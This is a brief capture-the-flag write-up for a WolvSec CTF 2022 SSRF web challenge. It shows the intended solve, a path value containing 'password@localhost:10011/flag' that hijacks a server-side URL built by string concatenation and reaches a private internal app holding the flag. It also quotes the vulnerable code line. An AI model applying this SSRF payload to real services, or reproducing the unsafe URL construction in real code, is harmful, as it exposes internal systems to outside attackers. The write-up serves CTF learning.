Tags: ssrf 

Rating:

Challege source and solver script: [https://github.com/sambrow/wolvsec_ctf_2022/](https://github.com/sambrow/wolvsec_ctf_2022/)

Intended solve (by the challeng author):

https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=password@localhost:10011/flag

This causes the following code:

```
const url = `http://localhost:${private1Port}${normalizedPath}`
```

to construct the following url:

http://localhost:1001password@localhost:10011/flag

The syntax here is:

```
http://<username>:<password>@<domain>:<port>/<resource>
```

The username/password are just ignored by these apps so the rest is under your control and can be used to visit the private2.js app to get the flag.

Note: There was at least one very creative solve that did not require use of the @ symbol. Hoping that person will create a writeup.